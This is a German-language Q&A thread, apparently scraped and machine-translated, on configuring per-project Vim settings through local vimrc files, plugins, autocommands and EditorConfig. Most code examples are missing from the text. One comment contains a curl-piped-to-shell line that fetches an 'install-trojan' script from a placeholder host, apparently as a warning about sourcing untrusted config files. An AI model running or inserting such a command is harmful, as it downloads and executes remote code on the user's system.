Bei meiner Arbeit verwenden wir einen Standard ts
von 2; Meine persönliche Präferenz ist 4, was ich für meine Hobbyprojekte verwende, und dieses andere Projekt, das wir geerbt haben, hat die Konvention von ts=8
.
Es gibt auch einige andere Einstellungen, die ich projektbezogen vornehmen möchte (z. B. Falzen). Diese Einstellungen auf dem Dateityp zu basieren oder sie basierend auf den in der Datei verwendeten Optionen automatisch zu erkennen, sind keine guten Optionen, da ich die Konventionen jedes Projekts einhalten möchte.
Kann ich Vim veranlassen, eine Einstellungsdatei zu verwenden, die für ein Projekt gilt (alles in einem Verzeichnisbaum), ohne allen Dateien eine Modeline hinzuzufügen?
vimrc
filesystem
Martin Tournoij
quelle
quelle
Antworten:
Es gibt ein paar einfache Möglichkeiten, dies zu tun.
Suchen Sie nach einer Datei mit dem angegebenen Namen und geben Sie die Quelle ein
Die Datei ist im Beispiel versteckt, aber das ist optional.
Lokale
.vimrc
Dateien (nicht dasselbe wie das Plugin)Dies ähnelt 1. Die Datei wird jedoch ".vimrc" genannt.
Ein häufiger Vorschlag dazu ist die Verwendung
.vimrc
Dadurch wird verhindert, dass eine Datei potenziell gefährliche Dinge wie das Ausführen von Shell-Befehlen ausführt. Die Idee ist, dass Sie nicht möchten, dass VIM eine.vimrc
Datei liest , die von jemand anderem geschrieben wurde, der etwas Böses tut.Autobefehle, die den aktuellen Pfad überprüfen
Dies ist die Option, die ich benutze. Ich ändere nicht viel zwischen verschiedenen Projekten, also YMMV, aber wenn Sie nur ein oder zwei Dinge basierend auf dem Pfad tun und es in Ihrem behalten möchten,
.vimrc
ist das nett und einfach.quelle
Ich benutze localvimrc für diesen Zweck.
Fügen Sie
.lvimrc
Ihre Projekteinstellungen in Ihr Projekt ein, und diese Einstellungen überschreiben die Einstellungen in.vimrc
.Standardmäßig werden Sie gefragt, ob Sie diese Datei als Quelle verwenden möchten, z.
Dies soll verhindern, dass zufällige (nicht vertrauenswürdige) vimrc-Dateien beschafft werden. Wenn Sie dies als störend empfinden, können Sie eine Whitelist mit folgenden
.lvimrc
Dateien erstelleng:localvimrc_whitelist
:Oder Sie können die Abfrage nach Bestätigung einfach mit deaktivieren
set g:localvimrc_ask = 0
. Dies wird jedoch nicht empfohlen.quelle
Zentrale Konfiguration
Wenn es in Ordnung ist, die spezifischen Befehle / lokalen Ausnahmen zentral zu konfigurieren, können Sie solche autocmds in Folgendes einfügen
~/.vimrc
:Es ist wichtig,
:setlocal
statt:set
und ebenso:map <buffer> ...
und zu verwenden:command! -buffer ...
.Wenn Sie andererseits die spezifische Konfiguration im Projekt speichern möchten (und diese nicht über Modelines in alle Dateien einbetten möchten ), haben Sie die folgenden zwei Optionen:
Lokale Konfiguration mit integrierter Funktionalität
Wenn Sie Vim immer über das Projektstammverzeichnis starten, wird das eingebaute
ermöglicht das Lesen einer
.vimrc
Datei aus dem aktuellen Verzeichnis. Sie können die:set ts=4 sw=4
Befehle dort platzieren.Lokale Konfiguration über Plugin
Andernfalls benötigen Sie die Hilfe eines Plugins. es gibt mehrere auf vim.org; Ich kann das localrc-Plugin empfehlen , das sogar die Konfiguration lokaler Dateitypen ermöglicht.
Beachten Sie, dass das Lesen der Konfiguration aus dem Dateisystem Auswirkungen auf die Sicherheit hat. Sie möchten vielleicht
:set secure
.quelle
.exrc
äußerst begrenzt sind: Der Projektbegriff stoppt im aktuellen Verzeichnis, dh Dateien in Unterverzeichnissen gehören nicht zum Projekt.Es gibt das Editor- Konfigurationsprojekt, mit dem Sie Konfigurationen auf Projektebene wie Einstellungen für Tabulatoren sowie neue Linienstile und andere Dinge definieren können. Es gibt viele Plug-Ins für alle Arten von Editoren, einschließlich vim . Außerdem können Sie Einstellungen für verschiedene Dateitypen definieren.
quelle
Ich habe dies geschrieben und meinem .vimrc hinzugefügt, damit ich .vimsettings-Dateien in Projekten und Unterprojekten platzieren kann.
quelle
system('curl http://example.com/install-trojan.sh | sh')
Ich wollte das, also habe ich es einfach lokal implementiert. Ich bin nicht so besorgt mit "Ausführen von Zufallscode", aber dies kann für einfache Bedürfnisse funktionieren. Passen Sie die Dateinamen nach Bedarf an.
Dies
local.vimrc
ist eigentlich ein Symlink zu einer Datei in meiner umfangreichen Sammlung von unternehmensspezifischen vimrc-Dateien, die ich an anderer Stelle in der Quellcodeverwaltung behalten kann, wodurch es einfach ist, meine gesamte Konfiguration auf andere Computer zu verschieben oder wenn ich ein Unternehmen vor Ort besuche oder so . Kaskadierende Konfigurationen könnten verwendet werden, aber in der Praxis benötige ich diese Funktionalität nicht. Ich verbinde mich auch F8, um die gefundene Datei und meine "Haupt".vimrc
in einem neuen Tab zu öffnen ...Da diese lokalen Konfigurationen für jede geöffnete Datei analysiert werden, müssen Sie die Zuordnungen und Einstellungen in diesen lokalen Konfigurationen auf buffer-local festlegen. Z.B
quelle